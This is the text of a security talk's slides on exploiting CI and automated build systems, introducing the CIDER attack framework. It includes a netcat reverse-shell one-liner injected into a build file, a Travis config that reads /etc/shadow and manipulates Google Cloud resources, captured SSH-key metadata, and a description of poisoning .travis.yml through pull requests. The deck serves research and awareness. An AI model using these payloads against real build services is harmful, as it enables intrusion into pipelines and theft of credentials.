Exploiting Continuous Integration (CI) and Automated Build Systems

And introducing CIDER
Whoami

• SpaceB0x
• Sr. Security Engineer at LeanKit
• Application and network security (offense and defense)
• I like breaking in to systems, building systems, and learning
• Security consultant
Overview of Continuous Integration concepts
Tools
Build Chain and Configuration problems
Real world exploit #1
Common deployment bad-practices
Real world exploit #2 – Attacking the CI provider
Introduce CIDER
Continuous Integration
Continuous Integration (CI)

• Quick iterative release of code to production servers
• Goal: Many deployment iterations per day or week
• Tend to be repository centric
• In sync with Automated Build chains
• For infrastructure/servers/subnets as well as code
Microservices

• Just abstraction
• Breaking down large app into small decoupled components
• Do 1 or 2 things really well
• Developed Autonomously
Security Implications

• Good - Frequent release cycles are fabulous!
• Good - Faster code deployments = quick remediation
• Good – Reduced single points of failure
• Good - Compromise of one service doesn’t (always) mean full pwnage
Security Implications

• Good - Frequent release cycles are fabulous!
• Good - Faster code deployments = quick remediation
• Good - Decoupled systems reduced single points of failure
• Good - Compromise of one service doesn’t (always) mean full pwnage

• Bad - Fast release sometimes means hasty oversights
• Bad - Automated Deployment systems are checked less than the code that they deploy
• Bad – Identity management
Tools
Build Systems

• Take code and build conditionally
• Typically in a quasi containerized type of environment
• Both local and cloud based are popular

• Vendor:
  ➢ Travis-CI
  ➢ Circle-CI
  ➢ Drone
  ➢ TeamCity
  ➢ BuildKite
Build Systems

• Take code and build conditionally
• Typically in a quasi-containerized type of environment
• Both local and cloud based are popular

Vendor:
- Travis-Cl
- Circle-Cl
- Drone
- TeamCity
- BuildKite
Deployment Systems

• Deploy the code after build
• Heading more and more toward container driven

• Vendors
  ➢ Jenkins
  ➢ Octopus Deploy
  ➢ Kubernetes
  ➢ Rancher
  ➢ Mesosphere
Chains of Deployment
Chains of Deployment
Chains of deployment
Configuration Exposure
Problems with SDLC trends

• Code build before merging
• Builds triggered from PRs, commits, etc.
• Repos hold downstream instructions
• Build configurations normally in root of repo
Vulnerabilities are in Misconfiguration

- Creative configuration exploitation
- Vuln stacking at it’s finest
- Each individual service may be functioning exactly as intended
- Interaction between services is where many vulnerabilities lie
External Repos

- Most volatile attack surface
- Public repositories which map to internal build services
Attacking Build Servers- 3 main ways

- Pre/Post Commands
- Image Specification
- Test builds
Real World Hax #1
```yaml
build:
  image: golang:1.5
  environment:
    - GO111VENDOREXPERIMENT=1
    - GOOS=linux
    - GOARCH=amd64
    - CGO_ENABLED=0
  commands:
    - go get
    - go
    - go build
    - go test

publish:
  docker:
    image:
    repo:
      storage_driver: overlay
    when:
      branch: master

plugin:
  name:
  desc:
  type:
  image:
  labels:
    - 
    - 
    - 
```
build:
  image: golang:1.5
environment:
  - GO15VENDOREXPERIMENT=1
  - GOOS=linux
  - GOARCH=amd64
  - CGO_ENABLED=0
commands:
  - go get
  - go
  - go build
  - go test
  - echo "uh...hello?"
publish:
docker:
  image:
  username:
  password:
  email: $$
  repo:
  storage_driver:
  when:
    branch: master
plugin:
  name:
  desc:
  type:
  image:
  labels:
    - 
    - 
    -
mknod /tmp/backpipe p
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe|nc x.x.x.x 4444 1>/tmp/backpipe
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe|nc x.x.x.x 4444 1>/tmp/backpipe

nc -l 4444
So many questions....

- Who is aware of this?
- What are the implications?
- Attack surface?
Existing pwnage

• @claudijd and RottenApple
  • Framework for exploiting CI (Jenkins) via Ruby code builds
  • Audit framework, as well as attack surface

• <crickets>

• I’ll keep poking around
• Cloud Based
  • Clog up deployment chain by filling build queues
• Cloud Based
  • Clog up deployment chain by filling build queues
  • Build Bot-Net and launch DoS? Yes please?
• Cloud Based
  • Clog up deployment chain by filling build queues
  • Build Bot-Net and launch DoS? Yes please?
  • Mine Etherium lulz
• Cloud Based
  • Clog up deployment chain by filling build queues
  • Build Bot-Net and launch DoS? Yes please?
  • Mine Etherium lulz

• On-Prem/Self-Hosted
  • Take over a network
• Cloud Based
  • Clog up deployment chain by filling build queues
  • Build Bot-Net and launch DoS? Yes please?
  • Mine Etherium lulz

• On-Prem/Self-Hosted
  • Take over a network
  • Alter source repositories
• Cloud Based
  • Clog up deployment chain by filling build queues
  • Build Bot-Net and launch DoS? Yes please?
  • Mine Etherium lulz

• On-Prem/Self-Hosted
  • Take over a network
  • Alter source repositories
  • Alter downstream production deployments
Bad-Practices for Hosted Services
Environment Vars

- Being used to store credentials
- Storing metadata for other services within micro-service infrastructure
- THIS IS HOW WE PIVOT
Run everything as root

• Just a container, right guyz?
• You now have internal network access
• Full control to build augment the image
Real World Hax #2
before_install:
  - curl ipecho.net/plain; echo
  - uname -a
  - netstat -lap
  - netstat -lanp
  - nslookup
  - cat /etc/hosts
  - cat /etc/shadow
  - id
  - whoami
  - sudo id
  - sudo whoami
  - echo 'done'
<table>
<thead>
<tr>
<th>Command group</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>gcloud compute</td>
<td>Commands related to Compute Engine in general availability</td>
</tr>
<tr>
<td>gcloud compute instances</td>
<td>Commands related to Compute Engine instances in general availability</td>
</tr>
<tr>
<td>gcloud beta compute</td>
<td>Commands related to Compute Engine in Beta</td>
</tr>
<tr>
<td>gcloud preview app</td>
<td>Commands related to App Engine in Preview</td>
</tr>
</tbody>
</table>
$ sudo gcloud compute project-info describe

commonInstanceMetadata:
  fingerprint: tQmmJ5_jwm0=
  items:
    - key: sshKeys
      value: |
        carmen:ecdsa-sha2-nistp256
        p3l41V2/Iutx6scfj0eo+
        ShONTbMJK0= google-ssh {"userName":"carmen@travis-ci.org","expireOn":"2016-08-08T15:03:46+0000"}
        carmen:ssh-rsa
        AAAAB3NzaC1yc2EAAAADQABAAAFA...QbQzYXz7+Yb31Oy...
        carmen@elita1
    kind: compute#metadata
  creationTimestamp: '2016-03-03T13:51:01.716-08:00'
defaultServiceAccount: 685190392835-compute@developer.gserviceaccount.com
id: '3045087229076466156'
kind: compute#project
name: travis-ci-prod-2
quotas:
  - limit: 1000.0
    metric: SNAPSHOTS
    usage: 0.0
  - limit: 5.0
    metric: NETWORKS
    usage: 2.0
  - limit: 100.0
$ sudo gcloud compute networks create testnetwork --mode auto


**NAME**

**MODE**

**IPV4_RANGE**

**GATEWAY_IPV4**

testnetwork
auto

Instances on this network will not be reachable until firewall rules are created. As an example, you can allow all internal traffic between instances as well as SSH, RDP, and ICMP by running:

$ gcloud compute firewall-rules create <FIREWALL_NAME> --network testnetwork --allow tcp,udp,icmp --source-ranges <IP_RANGE>

$ gcloud compute firewall-rules create <FIREWALL_NAME> --network testnetwork --allow tcp:22,tcp:3389,icmp

$ sudo gcloud compute networks subnets list

<table>
<thead>
<tr>
<th>NAME</th>
<th>REGION</th>
<th>NETWORK</th>
<th>RANGE</th>
</tr>
</thead>
<tbody>
<tr>
<td>default</td>
<td>asia-northeast1</td>
<td>default</td>
<td>10.146.0.0/20</td>
</tr>
<tr>
<td>testnetwork</td>
<td>asia-northeast1</td>
<td>testnetwork</td>
<td>10.146.0.0/20</td>
</tr>
<tr>
<td>default</td>
<td>us-west1</td>
<td>default</td>
<td>10.138.0.0/20</td>
</tr>
<tr>
<td>testnetwork</td>
<td>us-west1</td>
<td>testnetwork</td>
<td>10.138.0.0/20</td>
</tr>
<tr>
<td>default-1695626119f170cb</td>
<td>us-east1</td>
<td>default</td>
<td>10.142.0.0/20</td>
</tr>
<tr>
<td>testnetwork</td>
<td>us-east1</td>
<td>testnetwork</td>
<td>10.142.0.0/20</td>
</tr>
<tr>
<td>default-70418e9112c5f785</td>
<td>europe-west1</td>
<td>testnetwork</td>
<td>10.132.0.0/20</td>
</tr>
<tr>
<td>testnetwork</td>
<td>europe-west1</td>
<td>testnetwork</td>
<td>10.132.0.0/20</td>
</tr>
<tr>
<td>default-ced0e91e9a3e8fc</td>
<td>asia-east1</td>
<td>default</td>
<td>10.140.0.0/20</td>
</tr>
<tr>
<td>testnetwork</td>
<td>asia-east1</td>
<td>testnetwork</td>
<td>10.140.0.0/20</td>
</tr>
<tr>
<td>default-100afe3ab55495ae</td>
<td>us-central1</td>
<td>default</td>
<td>10.128.0.0/20</td>
</tr>
<tr>
<td>public</td>
<td>us-central1</td>
<td>main</td>
<td>10.10.1.0/24</td>
</tr>
<tr>
<td>testnetwork</td>
<td>us-central1</td>
<td>testnetwork</td>
<td>10.128.0.0/20</td>
</tr>
</tbody>
</table>
language: node_js
sudo: required
before_install:
  - sudo uname -a
  - ifconfig
  - sudo uptime
  - sudo env
  - sudo gcloud compute project-info describe
  - sudo gcloud compute instances list
  - sudo gcloud compute networks subnets list
  - sudo gcloud compute routes list
  - sudo gcloud compute networks create testnetwork3 --mode auto
  - sudo gcloud instances create sbtestinstance --subnet testnetwork3
  - sudo cat /etc/resolv.conf
  - echo 'done'
node-js:
  - 4
Introducing CIDER
What is CIDER?

• **Continuous Integration and Deployment ExploiteR**
What is CIDER?

• **Continuous Integration and Deployment ExploiteR**
• Framework for exploiting and attacking CI build chains
What is CIDER?

• **Continuous Integration and Deployment ExploiteR**
• Framework for exploiting and attacking CI build chains
• Mainly leverages GitHub as attack surface to get to build services
What is CIDER?

• **C**ontinuous **I**ntegration and **D**eployment **E**xploite**R**
• Framework for exploiting and attacking CI build chains
• Mainly leverages GitHub as attack surface to get to build services
• Takes the mess out forking, PR-ing, callbacking
What is CIDER?

• **Continuous Integration and Deployment ExploiteR**
• Framework for exploiting and attacking CI build chains
• Mainly leverages GitHub as attack surface to get to build services
• Takes the mess out forking, PR-ing, callbacking
• It will poison a handful of build services and “exploits” for each one
Why CIDER?

• Fun
• Make attacking easy
• Awareness
• RottenApple by @claudijd
• Facilitate further research
CIDER – ‘help’

-------------------
Basic Commands 1
-------------------

Help       --> Prints this very help menu
exit       --> Exits CIDER
login      --> Login to GitHub
clear      --> Clear screen

-------------------
Repository Commands 1
-------------------

list        --> Lists assets based on the options given
  - targets --> Prints all targets in target list
  - repos    --> Prints repositories currently pulled down.
  - exploits --> Prints available exploits.
                  These may or may not match targets list
load [EXPLOIT] --> Load an exploit
unload      --> Unload currently loaded exploit. No parameters necessary.
run         --> Use the currently loaded exploit against target list
add          --> Add a target by specifying so
  - target [TARGET] --> Parameter to "add" command, in for repo_owner/repo_name
remove       --> Remove a target by specifying so
  - target [TARGET] --> Parameter to "remove" command, in for repo_owner/repo_name
CIDER – ‘add target’ & ‘list targets’

```
GitHub Targets
----------------
fakeowner/fakereponame
CIDER > add target foo/bar
```

```
GitHub Targets
----------------
fakeowner/fakereponame
foo/bar
CIDER >
```
**CIDER – ‘load’ and ‘info’**

CIDER > load travis/netcat_reverse_shell
CIDER [travis/netcat_reverse_shell] > info
INFO
---

This exploit takes advantage of open Travis-CI repositories to create a netcat connection back to the attacker. The end result is a shell from which to control the compromised Travis-CI container.

**ORDER OF EXECUTION**
-----------------------

1) Fork all targets
2) Clone all forked targets locally
3) For all targets
4) Start shell handler(s)
5) Load and poison the .travis.yml file of the cloned repos
6) Push committed changes, and submit a pull request
CIDER features

• Node.JS
• Build modularly
• Can handle bulk lists of target repos
• Clean up for GitHub repo craziness
• Ngrok – because port forwarding and public IPs suck
Ngrok
Disclaimer

• It is against the GitHub user agreement to test against a repository, even if you have permission from the owner of the repo
• You must be the owner to test a repo
• When testing ask them to make you an owner
DEMO
CIDER

Continuous Integration and Deployment Exploiter

Maintained by space80x - Twitter: @space80xx

CIDER >
Limitations

• Build Queues
• GitHub Noise
• Timeouts
• Repo API request throttling
Just the beginning...

- More CI-Frameworks
- Start tackling deployment services
- Start exploring other entrypoints
  - Other code repositories
  - ChatOps (Slack)
Thanks

- LeanKit Operations Team
- Evan Snapp
- @claudijd
- Wife
Fin

CIDER on Github: https://github.com/spaceB0x/cider

Twitter: @spaceB0xx
www.untamedtheory.com